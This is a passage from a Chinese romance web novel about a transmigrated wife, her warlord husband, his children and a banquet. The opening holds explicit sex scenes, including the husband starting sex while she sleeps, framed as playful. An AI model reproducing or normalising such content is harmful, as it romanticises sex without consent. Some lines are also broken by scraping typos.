她都比砧板上面团还柔软好揉了,他竟然还咬她,简直丧心病狂。
触到宓瑶眼中没力道的愤怒,萧欻拉开了她护在身前的手:“就是太软了才让人想咬。”
萧欻没有细解他的想法,说完看向她额角的湿润,通知了声“流汗了”,便在她脖颈上又咬了一口。
合着就是犯贱,碰到软的东西就想啃一口。
为了反抗萧欻的不良习惯,宓瑶绷紧了肌肉,可惜绷紧的胳膊别说萧欻,她自己也看不出什么肌肉痕迹。
“想喂我?”
话落音,她又被啃了一口。
宓瑶:……
屋内的确不需要升什么炭火,宓瑶人还没到榻上背上就氲了一层汗,寒风一吹,汗毛直立的肌肤就迎来了滚烫的肌肉碰触。
到了榻上软衾才盖到身上,她又嫌热踢开,瞧着萧欻额头的豆大的汗珠,她蹙了蹙眉:“要滴下来了。”
萧欻还以为她是疼的蹙眉,听到她嫌弃的话,他微微动了动头,看着额上的汗珠啪嗒滴在了她的下颌,然后随着她扬头的动作,汗珠随着脖颈,路过凸起的胸骨,最后落在中间的凹地。
一滴一滴,两人的汗水交织不分彼此。
若是做到彻底没一个正常男人会愿意不上不下的吊着,但萧欻越进攻宓瑶就越躲闪,等到两人气喘吁吁躺做一团,萧欻进攻的深度还没到上次的位置。
“在你看来我就是畜生?你若是真会死,我难不成真让你死在榻上?”
紧绷的长枪在来回的推拒中没正中靶心就匆匆散落,萧欻没想过做这事,他都能干出手中有兵有粮,知道敌人在哪,却因为地形或是与同僚意见相左而无法进攻的憋闷。
他没有将女人折磨至死的癖好,若是宓瑶真承受不住就罢了。
但宓瑶表现出的模样分明可以接受,并且享受其中,他亲她她就软,他摸她她就嘤咛。
两人推拒她颤抖个不停,还咬着他的肩膀落了几滴泪,但轮到他她就会一边避一边说倒胃口的话,她真当她是观赏的器物,只能把玩表面不能碰里头,
“我当然相信郎君不会让我死,我这不是怕嘛。”
宓瑶咬帕子嘤嘤,她大概是有巨物恐惧症,没看到萧欻的就恐惧未知,脑子里把他想象的无限大,而看到了之后,就更害怕,因为真的很大。
那东西待在哪都好,就是不能跟她的身体有什么关联。
躺了一会,宓瑶觉得黏腻,她本想自己捡起衣裳去湢室清理,但看了眼床离湢室的位置,觉得这辈子都走不到,而且就算她爬起来清洗了,床还是脏的那也是白洗。
所以她又蹭进了萧欻的怀里:“萧郎,萧郎,你身上都是我的味道,都把你大丈夫的硬汉味给掩盖了,这般不好,不如把底下的脏布换了?”
宓瑶抬起自个颤抖的手,委屈巴巴,“我想动手为萧郎解忧,但我手没力了,无法伺候郎君,我真是没用……”
她不行,换软衾这事自然只能交给他了。
若是他换完之后能顺便叫水把她洗洗那就是更好。
宓瑶打好算盘,到最后也顺了她的意,只是这个顺意是两个时辰后。
萧欻眯着眼从她发抖的胳膊瞧到她精神饱满明显还有余力的神色,丢下了一句“还没完”,便又埋头开垦起来。
等到鸣金收兵,宓瑶真成了发好的面团子,软趴趴黏糊糊地扒在萧欻身上,玉肌绯红,眼角全是眼泪,又困又累眼睛只能睁开一条小缝。
而拿到了比上次多进一寸成果的萧欻心情愉悦,换了榻上氲湿的布料,顺道拧了毛巾给宓瑶擦了身上的湿汗。
瞧着原本浅淡的吻痕慢慢肌肤上沉淀变深,他又起了几分兴致。
不过触到宓瑶睡梦中也皱成一团的脸,他拿被子把她一裹,自个则是重新拿了床被子,没与她同盖一衾。
他有心饶过她,只是没睡半晌,他就感觉到怀里一软,睁眼就见她摸进了他的被里,胳膊紧紧搂着他不放。
醒着的时候不怎么讨喜,闭眼睡着后倒是乖顺。
这份乖顺自然被萧欻奖励了,等到宓瑶再醒来是被震醒的。
半梦半醒睁开眼感觉到天旋地转,连床架子都咯吱咯吱的发颤,她惊了一跳,下意识喊了声地震了快跑,下一刻就听到了低沉的闷笑。
发笑的男人像是惩罚她在干正事的时候逗乐他,还埋头在她肩上啃了一口。
宓瑶:……
这算个什么事!
第29章 第二十九章【VIP】
一夜没睡好觉,早晨又被萧欻那么一吓,宓瑶一觉就睡过了晌午,靠近申时才睁开眼。
“阿娘……”
萧善捧着脸守在床榻边上,因为等得太久,皱着淡淡的两根眉毛,一副委委屈屈的模样。
听到她带着哭腔软软的呼喊,宓瑶来了戏瘾,吸了吸鼻子,伸手颤颤巍巍地抚了抚她的脑袋:“阿娘怕是不能陪你了,你往后要好好的……咳咳。”
气若游丝的说完,为了加强戏剧张力,宓瑶还要死不活地咳了两声。
“阿娘,我不要!不要。”
萧善的哭腔加大,原本模糊的吐字都清晰了许多,只是声音尖锐有些吵耳朵。
“孩子记住,不要报仇……”
宓瑶含笑说完,在想要不要加个嘎过去的剧情,就听到低沉凛冽的男声在屋中响起:“你在发什么疯?”
被萧欻猛然捏着肩转身,萧善张大哭喊的嘴顿下,茫然中带着丝害怕地看着萧欻,他一松手,她就往床边缩了缩,想要爬到宓瑶的怀里。
萧欻眼中的戾气来得快去得也快,触到萧善没有眼泪的脸,他重新问了一遍他方才的疑问:“你们俩发什么疯?”
“萧郎你怎么在房里?”
宓瑶捂着唇打了一个哈欠,想到自己睡了那么久,说不定头都变成了鸡窝,见萧善可以,但面对萧欻她有些不自在。
所以打完哈欠她就捂住了脸。
“郎君别看我,快忘了我才睡醒的模样,等我梳妆打扮再看我。”
她越这般说,萧欻落在她身上的目光越没有移开的意思。
而这一看他就觉得没什么可看。
相比平常,现在的她不过没有穿戴首饰华服,脸还是那张脸,而且因为发丝凌乱,有种不同寻常的妩媚。
盯着那缕黏在她嘴唇的发丝,他怀疑她是故意说不让他看的话,实则是想骗他看她,然后做出娇媚的姿态诱惑他。
扫了眼在床边不止打算走,还伸着小肉爪子积极帮宓瑶挡脸的萧善,萧欻撇过了眼:“你再睡下去天都要黑了,还梳妆打扮做什么?”
“那郎君就明日再见我。”
萧欻嗤了声:“去把头发梳好,就过来说清楚你方才是在发什么疯。”
说完,萧欻走之前克制不住伸了手,把宓瑶含在嘴里的几根青丝勾了出来。
“让你梳头不是让你吃发。”
宓瑶完全没感觉到自己嘴里含着头发,被那么一数落,她更觉得她现在的模样好看不起来。
她披衣裳下榻,萧善自然而然地跟在了她的后头,但没走两步萧善就被萧欻拎着后颈,带到了另一边:“你来我这里。”
萧善脚在空中反抗地蹬来蹬去,明显是不愿意。
“不!不要!不要不要!”
“你学说话就这个词学的清楚?”
放下萧善见她要跑,萧欻扯住了她没几根毛的小辫子。
而他一扯,萧善就放声大哭起来,不同与方才跟宓瑶的发疯,她这会是脸上真有了泪。
泪珠子一颗颗的从瞪圆的眼睛里滑落,嘴里还不停骂人。
“坏!坏!大坏……”
萧欻面色冷硬,等宓瑶返回,沉声把责任扔在了她的身上:“你都教了她什么?”
听闻宓瑶在教萧善说话,并且萧善还真张嘴说出来几个字。
他还想宓瑶虽然多事,但还算有些用处,若是萧善真在她的教导下学会说话,他便记她一功,往后她犯了什么错,他就饶她半条命。
但谁想到她教来教去,除却让萧善更黏着她,就是让萧善把她以外的人都当做恶人。
“别说小娘子,若是我拿剪刀剪去郎君一块头发,让郎君谢顶,郎君笑得出来吗?”
见着宓瑶萧善就不哭了,只是捂着脑袋,仰着发红的眼睛,像个被欺负的小兔子一样瞧着她。
晓得萧善在委屈什么,宓瑶蹲下吹了吹她的小辫子。
“有些大人长大了,就忘了自个小的时候面对大人时有多弱小无助,他们因为忘了自个小时候的样子,就无法设身处地去想孩童都在意什么,你阿爹不是欺负你,他是不晓得这是在欺负你。”
萧善这段时间吃得好,头发虽然还是稀疏,但比最开始要乌黑了不少,她见没人嘲笑她,就开始少带帽子多露出来脑袋,让诗雅给她扎几根薄薄的小辫。
平辫,没事就朝人甩一甩。
萧欻用力抓她头发算是犯了她的大忌,估计她今夜轻没重,气得在梦中揍他一顿。
宓瑶说完看向萧欻,等了两个呼吸,见他没反应,才小声提醒道:“郎君道歉。”
气音说话,与她一起看着他的萧善,瞪着一双圆眼珠,,等着他开口道歉。
所以说她压低
萧欻从未跟孩子道过歉,也从未见过哪个成人像宓瑶一般,蹲下着跟三岁的孩童视线相对,正正经经地像像是对方听得懂一样,告诉小儿旁人哪里不对,又为什么不对。
宓瑶说的话萧善有没有听懂他不知道,但他知道萧善听懂了他要跟她道歉。
对上萧善肉脸上那双占比不小的愤怒圆眼。
萧欻:……
他发现府邸多了宓瑶后萧善就变得越来越不怕他,就像是觉得自个有了大靠山。
而她不晓得她这个大靠山几个时辰前还趴在他身上哭。
“我不该扯你头发。”
在屋里两双水汪汪眼眸的注视下,萧欻瞟开视线淡然开口。
说完不等两人再说什么又立刻继续开口:“你睡醒时与她是在闹什么,平日你就是用这种方法教她说话?”
面对萧欻眉梢的冷峻,宓瑶没犹豫地点了头:“我曾在一本杂记上看过,有些孩童不爱说话,可以用夸张的语调引起他们的注意,这样会让他们升起模仿的想法。”
这个说法她是真看到过。
但会跟萧善那么玩,大部分原因还是因为她闲着没事,加上发现萧善喜欢装哭。
悠闲加上有一个好搭档,她编剧魂就醒了。
宓瑶解释完,萧欻面上的疏冷并没有消散:“演这种戏你觉着有趣?”
“有!”
小孩稚嫩的嗓音响起,这一声是萧善回答萧欻,她脑袋前倾嘴巴上撅,说完那双大眼珠又开始瞪着萧欻。
宓瑶像是看热闹一样看着这一幕。
萧善对萧欻的态度相比她两个哥哥要有趣的多,萧善不怕萧欻,哪怕是体格悬殊,她也不会在萧欻暴力胁迫下停止哭叫。
反倒还能翘着小短腿给萧欻几脚。
而因为萧善是最小的孩子,又是个女娘,萧欻对萧善也是一副纸老虎模样,脸绷的再凌厉,萧善不当回事就屁用没有。
“拿生死开玩笑并不有趣。”
萧欻微弯着腰,试着像宓瑶刚刚那般直视萧善的双眼与她讲道理。
但可惜萧善并不能理解他话里的底层含义,她只知道他是在跟她唱反调,所以张嘴开始喷口水:“米坏!”
眼睁睁看着萧善的口水点子落在萧欻那张冷淡疏离的脸上,宓瑶“噗——”地笑出了声。
以免死在这儿,她欣赏了一眼萧欻僵硬的脸色,丢下句去给萧善擦嘴,便抱上了萧善,冲回了自个的住处。
到了地方把房门关上,她才放纵地开始大笑,中途还笑呛了几口气。
看着宓瑶笑,萧善也跟着笑,等到宓瑶停了,她歪了歪头:“阿娘不喜欢阿爹?”
这些日子下来,萧善学的最好的就是“阿娘”这个称呼,至于阿爹这个词宓瑶没教过,平日也没见她说,大概是萧良他们教的。
萧善看着宓瑶的神情,想了想肯定地说,“我也不稀饭!”
“我没有不喜欢你阿爹。”
宓瑶觉得这是要说清楚,免得小萝卜哪天说漏嘴萧欻找她麻烦。
揉着小萝卜软软滑滑的肉脸,“就跟喜欢和你闹着玩一样,我也喜欢跟你阿爹闹着玩。”
“你还偷偷……晚上跟他废!”
说起这个萧善露出了哭哭脸,她睡前明明娘还在,醒来娘就不见了,她找了半天,最后去敲了半天门,坏阿爹才准她进门,说娘在他的床上睡觉。
“他不香香!”
萧善数落萧欻的缺点,想让宓瑶晓得跟他睡没趣,以后不要偷偷跑掉。
“他不止不香还不软呢。”
想起萧欻那一身腱子肉,哪怕睡了那么久,她依然觉得全身疼,就像是整个人被碾过了一遍。
不过幸好这样的事一个月只用来两次。
如果哪个月撞上了她的月事,估计还能免一次。
*
“阿姊,你受苦了!”
在萧欻屋里看戏时不觉得,等到哄完了萧善,宓瑶就觉得腰酸起来,所以她才下榻又躺上了榻,腰上枕着貂绒倚枕,身上搭着织锦羊绒毯,手还没摸到枕边的书本,就见给她送点心的虞琇一进门就哭哭啼啼地为她叫屈。
走了一个,又来一个。
宓瑶眨了眨眼,怀疑萧善和虞琇在她不知道的时候偷偷建立了友好关系,并且拿她玩接力赛。
“我又受什么苦了?”
宓瑶坐起,尝了口马蹄糕。
才睡醒不觉着饿,但一有食物入口,胃就开始唱空城计,告诉她运动了一晚上消耗大于摄取,该吃点好的了。
抬手挡住了虞琇要说出口的话,她先嘱咐诗雅让小厨房把炖好母鸡汤端上来。
“除却炖汤,再做一道蚂蚁上树。”宓瑶说完还想吃烧鹅,瞧向虞琇,“你等会再陪我吃点,再做份八宝烧鹅,一盅火腿煨鱼翅。”
宓瑶喜欢吃但食量不大,平日会带萧良一起吃饭,除却觉得他一人用饭孤单,还因为多几个人能多点几个菜。
只是萧善他们胃口再大也是孩子,平日方便她点菜的主力军还是发育期的虞琇。
吩咐完了诗雅,宓瑶见虞琇还是含着泪,没有被她的打岔弄得分神,才叹了口气:“成,你可以开始说了。”
“阿姊又被姐夫欺负了,我心疼阿姊。”
触到宓瑶倦怠的神色,虞琇愤然,“阿姊不是说往后分房,姐夫就不再对阿姊动手!”
眼泪从虞琇的眼眶溢出,她一边抹泪一边从兜里拿出药膏,开始扒拉宓瑶的衣裳。
宓瑶怎么可能让没及笄的小丫头瞧她身上那些痕迹,吃到一半的马蹄糕被她慌乱抛掉,她压着领口,惊悚地看着虞琇。
“阿姊对着我有什么好遮掩,伤口若是不趁早上药会留疤的。”
宓瑶挡的快,但虞琇还是看到了她如羊脂白玉的脖颈上多了许多红痕,也不知是被咬的还是被鞭子抽的。
想到如此爱美的阿姊往后身上可能全是疤痕,虞琇泣不成声,听着她的哭声让原本觉得自个没事的宓瑶有了种她的确受了大罪,并且命不久矣的错觉。
当然这时候她可不敢来什么戏瘾。
瞧虞琇脸上的悲痛不似作伪,宓瑶一时间头疼了起来。
原主与虞琇的姐妹感情不深,不然虞琇也不会干出跟桓冠斌里应外合,给她下药把她送走的事。
下药的事后,她没把虞琇赶走只是出言警告了几句。
只是警告的缘由除却她美丽又善良,主要还是因为她懒得麻烦。
她知道书里面虞琇的下场,知道没有她推波助澜,虞琇生不起什么风浪,就无所谓把虞琇留在了身边。
这段时间她自问她对虞琇没怎么用心,纯粹就是放养别给她惹麻烦就成。
但不知道何时虞琇对她就变了态度,刚开始她还以为虞琇是刻意作态,看不惯萧善讨她喜欢,所以装乖在她面前争宠。
现在再看变化态度是真的,虞琇这是真把她当做相依为命的阿姊了。
这事办的。
小的来大的也来,幼儿园老师的工作范围都没她广。
“你姐夫已经改了许多,他答应我要摒弃恶习,做个与旁人一样的正常男子,我脖颈这些痕迹不过是看着吓人,实际并不疼。”
面对虞琇不信的表情,宓瑶顿时后悔之前为了省事随意敷衍她,往后她一个月跟萧欻睡两次,在她眼中不就是每个月受两次死。
不管信不信,反正宓瑶哄了两句,等到小厨房上菜,她见虞琇大口吃饭,就当她是哄好了。
用完饭怕又有谁跑到她跟前哭一场,宓瑶不敢再躺,而是让下人准备热水,打算一个人躲到浴室去静静。
原宅子的主人懂得享受,府邸除却精致的园景,还在主院不远处修了个大浴池。
说是打算引温泉进府,不过因为工程浩大,温泉引了一半就被赵天赫砍了脑袋,只留下了府邸里砌好的暖室。
没有温泉水,铺了汉白玉,设的有炭火管道加热的浴池也是个洗澡的好去处。
赤脚踩上蓝宝色织锦蜀葵纹地毯,宓瑶瞧了眼自个脚上有些褪色的艳红蔻丹,突然想起了萧欻的怪癖。
洞房那日她便察觉萧欻格外关注她的脚趾,本以为是她的错觉,但这次萧欻没掩饰他的兴趣。
情浓时他自己动手把她的脚架在了他的肩上,后面她挣扎反抗把脚踩在他胸膛,他也没有拂开,反倒手掌包覆她的肉足,不停揉捏她的脚趾。
那时她双眸全是水汽,视线朦胧,隐约看到萧欻似乎低头嗅了嗅她的脚,幽深的眸子暗色涌动,让她有种若不是知道她还醒着,他会像亲她脖颈一般去亲那里……
想着,宓瑶不止看自个的脚,还动手捏了捏,嫩嫩滑滑,不比软肉柔软是不同的手感。
捏完手指没残留什么异味,也没收获让人迷恋的触感,捏这里她还不如捏自个的屁股。
确定自个脚没有什么特别,萧欻会玩她的脚是他特殊的怪癖,宓瑶没有再看脚,试了试水温,脱了衣裳下池。
眯眼在水里泡了一会,浮起的花瓣被热水熏得发蔫沉底,宓瑶才低头去瞧她身上的吻痕。
比起吮吸萧欻更喜欢啃人,吸两口就忍不住留下个牙印,他没有用力,基本就是噙住确定能有印子留下他就会松嘴。
按他力道她要是皮糙肉厚,估计不到一刻钟身上的咬痕就能消失,但可惜她细皮嫩肉,而且成日鼓捣护肤,把皮肉越养越娇。
所以这些咬痕至少要一日才能消,至于吮吸的吻痕,至少要两三日。
揉了揉被萧欻又掐又颠的腰,宓瑶真不晓得这才第二次,萧欻从哪里就来了那么多招数。
又贴又磨,也不怕脱皮了。
泡的差不多,虽然觉得猥琐,她还是弄了面铜镜,坐在紫檀木榻上想观察一下她身体内部。
萧欻趁她困倦乏力进的比上次深,当时她倏然裂疼,还以为被萧欻冲破了,吓得低头一看发现还有一大截在外面,恐惧症上头看得她差点没晕过去。
想着要装死把萧欻吓萎,她还没开始装身体就不疼了,而后萧欻颠起来她就忘了这事。
现在想想应该是没那么深。
铜镜的能见度太低,再加上屋里的袅袅热雾,除却外表的红肿宓瑶什么都没看出来,只觉得往后要准备个颜料把萧欻的东西标上数字,严格规定他能进多少。
她想的完善,就只差劝服萧欻答应这一步。
而劝服这一步,她相信她敢开口,萧欻就敢用暴力的方式强行进入,给她的巨物恐惧症进行脱敏治疗。
所以每次还是得她睁大双眼监督萧欻的巨物使用状况。
想想她优越的骨相,再算算她这辈子还能美多少个月,这个任务真是任重而道远。
十五上完工宓瑶缓了一日才恢复寻常的悠闲。
而神出鬼没的萧欻短暂的在家里待了半日,又恢复了早出晚归,本以为他是被萧善喷口水了觉得丢人,见他连着两夜未归,宓瑶问了声留在府邸的濮青才晓得他去了翼州。
“马上就是新年,镇使要去巡视边防,若是没什么意外,该是年前几日回来。”
宓瑶瞧了眼廊外的细雪,觉着当男主也不容易,这般的天气还要骑马四处奔波,若是运气不好敌方有开战的想法,可能过年还要在外地吃沙。
“镇使走之前吩咐,夫人要是需要侍卫,只管开口,只要不是让属下们去惹萧家无法担待的人物,让属下们听夫人的命令行事。”
没想到萧欻走之前有那么一句吩咐,宓瑶眼眸一亮。
她今个会来问萧欻为何会不见人影,不是因为她身上印子消了,皮肉痒痒想让萧欻再给她印几个,而是因为节度使府给她下了帖子。
前些日子她在碧墨书院说了那么一遭,听说隔日赵家四房就去了节度使府邸,去的时候面色一般,出来时更是垂头丧气。
这般明显被训了一顿的模样,让益州城内谣言四起,刚到益州城时,她还是观音坐下的仙子,如今已经成了凶残暴戾的母老虎。
明明是萧欻没管马小娘子,传到外头就成了她看不惯马家人,把马小娘子推进湖里,又把重度风寒的马小娘子从萧府的陪宅抬出来,把马家其他人一同赶走。
天地良心,马家一家人跪在萧府大门前,想要借舆论让萧欻网开一面的时候,她还因为加班加到天亮仍在睡梦中,晓都不晓得这事。
把马家人毫不留情轰走是萧欻下命令,怎么就全是她狠心了?
说她狠心就狠心吧,被误解是娇妻的宿命,她自个没打算解释,但偏有人冒出来要为她做主,攒了一个局说是要为她澄清谣言。
而这个攒局的人就是赵天赫的妾侍方氏。
若是旁人她还能当做看不到帖子,但帖子是从节度使府邸出来,不管其中有没有赵天赫的意思,她都要应这个约。
“明日我去梅园,你多叫些人与我同去。”
宓瑶顿了顿,想到侍卫不能跟在她身后进园,提醒道,“摔杯为令,我若是开始掀桌子了,你们就冲进院内救我。”
听到宓瑶说让他派侍卫跟她去节度使的私园,濮青脑袋就热出了汗,再听她说摔杯,掀桌,他更是冷汗与热汗齐流。
“夫人你怕是忘了属下方才说的话,镇使是说夫人用我们的前提,是不去惹萧府承担不起的人物。”
在节度使私园里掀桌,这不是要造剑南的反。
“下帖子的是父君的妾侍,不是父君本人,难不成在你眼里你家镇使连个妾侍都畏惧三分,遇事不敢出头?”
触到濮青不敢接话的纠结模样,宓瑶放了他一马:“我与你说笑呢,父君的妾侍就是父君的脸面,我自是不会挑衅。”
“夫人有分寸就好。”
濮青擦了擦额上的汗,瞧见宓瑶闲事的神色,也不知道她哪句话是真哪句话是假,但明日铁定是得多派几人暗中随她一起去。
免得她给主子招惹出什么收拾不了的麻烦。
*
宓瑶没骗濮青,她是真心中有数。
原本她是真打算去了明日的局,遇到了不想应付的事就掀桌大摇大摆的离开。
但想到了自个的靠山是还没有称王称霸的男主,她就放弃了这个想法,打算见机行事。
宴会既然办在节度使的私园,算是过了赵天赫的眼,方氏和赵七娘只要不蠢,就不会让她在园中出事。
而如果她们真那般蠢,送上小辫子给她抓,那她把事情闹大了也正好省事。
想好来如何应对,宓瑶便开始挑选起出门的衣裳。
原主原先好看的衣裳就不少,与萧欻定亲后,萧欻又送了不少蜀锦到虞家。
等到她拿到中馈后,又做了一批衣裳。
平日在府她打扮的再美,衣裳上也不会选太过累赘的款式,如今出门,自然要把那些美貌废物都拎出来挑一遍。
选了条没侍女提挽就无法行走的纱罗曳地间色裙,配了红宝石坠珠的金钿玉勾,与霜华商量好了明日相称的发髻与发饰,做完了一切,她情绪还在头上,干脆去了听松院去给萧翼挑衣裳。
方氏在帖子上写了可带各家小郎君小娘子一同赴宴。
招惹赵家这事萧翼也有参与,而且还是被打的那一个,作为补偿她就打算带他,让他去长长眼界,瞧瞧什么叫人不需要至高无上的身份,只需要够嚣张旁人就不敢招惹。
只不过她这带人带的不怎么顺利,她给萧翼选衣裳,萧良与萧善就在旁睁着圆润的大眼睛,眼巴巴地瞧着她。
“母亲眼光真好,我也觉得兄长穿这件好看。”
“阿娘好!”
“这个金冠加发带真别致,我也有一个一样的金冠。”
“窝也要!”
“兄长你要乖乖的听话,你不爱笑,明日母亲带你出门,你要多笑笑不然旁人会以为,你不想与母亲一起出门。”
看完宓瑶挑选衣裳,萧良想到什么正经八百对萧翼交代,因为这段话太长他边摇着脑袋说话,还边咽了几口口水。
萧善也跟着转身,圆眼珠定定看向萧翼:“听话!”
说完还垫脚在他头发上摸了摸。
萧翼:……
感觉到弟弟妹妹是也想去,所以才一句接一句装懂事乖巧的小大人,萧翼踌躇看向宓瑶。
因为不晓得宓瑶是如何打算,不然他就会直接开口把机会让给萧良与萧善。
而宓瑶此时正在仔细打量萧良粉嘟嘟的小脸。
发现萧良脸上的神情只有努力想装作聪明的懵懂,宓瑶翘唇:“二郎,没想到你还是个天然茶。”
萧良疑惑地看向宓瑶:“母亲,什么是天然茶。”
“就是说话很有趣,能让听见的人觉得高兴。”
宓瑶那么一夸,萧良粉脸通红,神色多了丝扭捏:“母亲是说听我说话高兴吗?”
更茶了。
宓瑶捏了捏他的脸:“差不多是这个意思。”
说完顺道也捏了捏把脸凑到她手边的萧善:“想去就一块去吧,反正这个席不是按人头收银子,多一个少一个都没什么关系。”
她原本还想着这天气,不必出门才是奖励,谁想到两个小萝卜那么抗冻,也想在飞雪天出门凑热闹。
不过想想也能理解,萧翼平日还能出门读书,剩下两个萧欻也不会带出门,估计他们脑子里都没有关于出门的记忆。
既然一个萝卜变成了一串萝卜,宓瑶也不怕再多一个,便问了虞琇。
虞琇二话不说就加入了选衣裳的队伍。
等到了隔日,还未到时辰,几人就兴奋地穿戴整齐,被他们用期待的眼神注视,宓瑶看不进几页书,干脆随了他们的意提前更衣,与他们一同浩浩荡荡地上了马车。
“虽然没给真金白银的礼金,但我送的摆件也值几百两,所以你们别觉着是来吃白饭,寻得到看着顺眼的伙伴便好好玩,若是没遇上玩伴,那就好好吃,受委屈了该哭哭该闹闹,别亏了自己。”
马车驶到梅园停下,下车前宓瑶特意交代了一声。
萧翼正在找机会跟宓瑶承诺他会好好看着弟弟妹妹,不让他们在外面不懂事闯祸。
他没说出口的话一噎,听着身边弟弟妹妹热闹的应是,他也跟着点头:“孩儿知道了,若是遇到麻烦一定不会退缩,孩儿会……让善儿哭。”
至于他,他是长兄怎么能像孩童一样不懂事,用哭闹表达委屈。
第30章 第三十章【VIP】
有虞琇在宓瑶也不怕萧翼他们受什么委屈,交代了一声,她便开始打量眼前的建筑。
梅园是节度使名下的私园。
听说是赵天赫到剑南后,某家豪族晓得他夫人喜欢梅花特意所赠。
收了这处园子后,节度使夫人一次都没来过,果真没过多久那家豪族就在益州消失,之后节度使夫人估计是嫌晦气,更没来过这处。
这些事都是昨日濮青与她所说,还道他会那么清楚,是因为那家就是萧欻领兵抄的家。
方氏攒局只能找那么个地方办,可见真就是面上光鲜,内里没多少底气。
但再没底气也是赵天赫的妾,她还道自己来得早,下车一看停在园外的马车都有十几架了,可见益州的夫人们大多都捧方氏的场,早早过来不来摆架子晚到那一套。
梅园,园如其名,从园子门口便是大片的梅树,姿态各异的嶙峋枝干一直连绵到了园内,胭脂色的花瓣或半阖或盛放,层层叠叠的嫣红点缀净色的白雪,恍似天地的花裙。
宓瑶赏了几眼,就忘了等会要见糟心的人,开始思考仓库里哪只瓷瓶与这个色泽相配。
等到见到方氏,她比方氏先露出了笑:“方姨风韵天成,今日打扮的真美。”
触到宓瑶脸上的笑容,方氏一时没有反应过来。
上次两人见面,她对宓瑶态度淡淡,宓瑶也没有讨好她的意思。
因为传闻中宓瑶做的那些事,她本以为宓瑶今日依旧难缠,没想到她倒是先露出了笑脸。
只是听到宓瑶的夸奖,方氏又觉得她的态度不诚。
若说漂亮今日谁能比得过盛装出席的她。
距离尚远她的视野就被宓瑶身上的光芒铺满。
走近更是被她盛艳的姿容震的缓了半瞬。
今日来的夫人,穿曳地裙的是多数,但像是宓瑶这般需要两个婢女提挽的却是唯一。
上等纱罗一层叠一层,其中一层还做了银泥涂抹,在阴天布料也宛若月色中波光粼粼的湖泊,清雅别致*。
宓瑶本就美的不可方物,偏生在打扮上也不让分毫。
衣裳仙气飘渺,发髻更是别致,云鬓罗袅,额角坠牡丹累丝珍珠玲珑簪,发饰以鎏金飞羽与翡翠花蝶做配,缠丝嵌三色宝石赤金步摇为主。
作为东道主,方氏今日打扮自然费了一些力气,但站在连眉梢眼角都细细选色涂抹的宓瑶面前,那还能跟美扯上关系。
觉着宓瑶的夸奖是挑衅,方氏笑容淡淡不想接话。
她撇眼去看宓瑶身侧的几人,发现外头的传言非虚,宓瑶为了讨好萧欻,对他的养子养女极尽用心。
萧小娘子头发一左一右梳了一个小团,绑着随风飘动的描金绦丝带,其上带了与宓瑶相似的团花金饰。
除此之外,萧翼与萧良头带仙兽祥云的白玉冠,身穿描银丝团花襕袍,唇红齿白,任谁看了都不会质疑他们是出身良好的世家子弟。
而再大一点的虞琇打扮也是妥帖,身上的穿戴打扮既仿照宓瑶的贵气精致,也与萧善的灵动相似。
反正他们五人站在一起一看就是一家。
并且一家子一齐抢光了所有人风采。
方氏撑着笑脸朝萧翼道:“这便是萧家的大郎君吧,长得一表人才,有其父之风,今日十郎也过来了,你们两人可要好好相处,不要再生误会。”
萧翼刚拱起手还没答话,宓瑶就微撅了嘴唇,提醒方氏道:“方姨,你还没夸我呢。”
娇俏的语调带着不满,对上方氏的视线,宓瑶手指掐花放在脸畔,指尖的蔻丹把玉肤衬得如雪般清透。
见状,方氏快维持不住脸上的笑容。
她本以为宓瑶夸她是为了挑衅,谁晓得她不过是为了被人回夸。
知晓了这点她也没觉着高兴反而更为烦闷。
宓瑶的好看是摆在表面显而易见的事情,这般有什么好夸,如果她特意提及夸赞,就像是她谄媚宓瑶,把自己摆在比宓瑶低一等的位置。
虽然不愿但面对宓瑶等待的眸光,方氏还是忍着不适道:“你自然貌美,今日发髻与衣裳都别出心裁,好看得紧。”
“相比用来锦上添花的衣裳,虞夫人的美人面才是宛若仙子下凡,花容月貌,像是高悬天上的皎月,这一园子的梅花都因为虞夫人要再美三分。”
宓瑶与方氏在花道边上说话,新客见着就凑到一旁听两人客套,其中穿着春碧色衣裳的娘子听方氏夸的潦草,笑吟吟地开口说道。
宓瑶看过去,对方年纪看着与她差不离多少,长了一张笑脸,弯月般的眼眸灵动干净,腮边有两个梨涡。
瞧切。
“这位娘子面莹如玉,娇俏非常,与我相同都在努力与梅花争春,不愿服输。”
“好看!”
之前宓瑶夸方氏她没开口,是觉着方氏不好看,现在宓瑶着也觉得漂亮,。
听到妹妹聪明地讨好长辈,萧良怕自己显得愚钝,也跟着“嗯嗯”点头,“母亲说得对,这位姨姨好看。”
“这位夫人与我阿姊一样,都是这梅园中难得一见的春色。”虞琇不甘示弱,说完瞟了萧翼一眼。
见所有人都开了口,萧翼嘴笨不知道说什么,只能跟着点了一下头。
哄人。”
碧衣娘子弯腰刮了三个孩子的脸蛋,又轻拍了拍虞琇的手,觉着自个太开心笑容铺的太大,微微掩住了唇,只露出一双笑弯的眼睛,“我今日特意挑这条裙子,便是想着满园盛放的冬梅,我来添一抹春色凑热闹,没想到让你们瞧出来了。”
几人有来有往,方氏就那么被冷落了下来。
她没为不用应对宓瑶感到轻松,只觉着这两个年轻的新妇不知规矩,仗着鲜嫩的脸在她面前嚣张。
看到宓瑶的那一刻,她便后悔听了潘氏的话办这个宴会,宓瑶的秉性哪会因为各家捧着赵家人就识相,她只会沉醉在自己的美貌中藐视众人,跋扈狂妄。
不想再与宓瑶浪费精力,方氏见到面熟的夫人,趁机想先走一步,只是还未走开就被宓瑶挽住了胳膊。
“方姨,这雪梅真美,恍若仙景,若是我家也有就好了。”
宓瑶边说边侧着脸期待地瞧着方氏。
方氏一愣,胳膊被宓瑶握着,在众人面前她不好抽开:“你若是喜欢,我送你几株花种。”
“那真是太好了。”
宓瑶眼睛发亮,“方姨,我近日在学插瓶花,可惜这季节新鲜的花材不多,练来练去也只有常见的几种花材,我才嫁来益州,有困难也没有相熟的姐妹帮忙,幸而有方姨如此关照我的长辈。”
方氏办宴各家都在猜测,猜她是为赵家旁支出头,还是真为了宓瑶介绍益州各家,好让宓瑶早日融入益州的圈子。
如今两人神态亲密。
不知道旁观的人是心中有了答案,还纯粹是看出了些别的凑热闹。
“如夫人自来大方,镇使娘子想要练手,如夫人哪会不舍送你花材。”
“只要镇使娘子想要,多少株如夫人都舍得。”
“当真如此?”
宓瑶摇了摇方氏的胳膊。
方氏好面子,在众人怎么可能说不舍,再者本就几根花枝罢了。
“自然,你瞧上哪枝尽情选了去。”
有了方氏这句话,宓瑶不再缠着她,开始了挑选花枝。
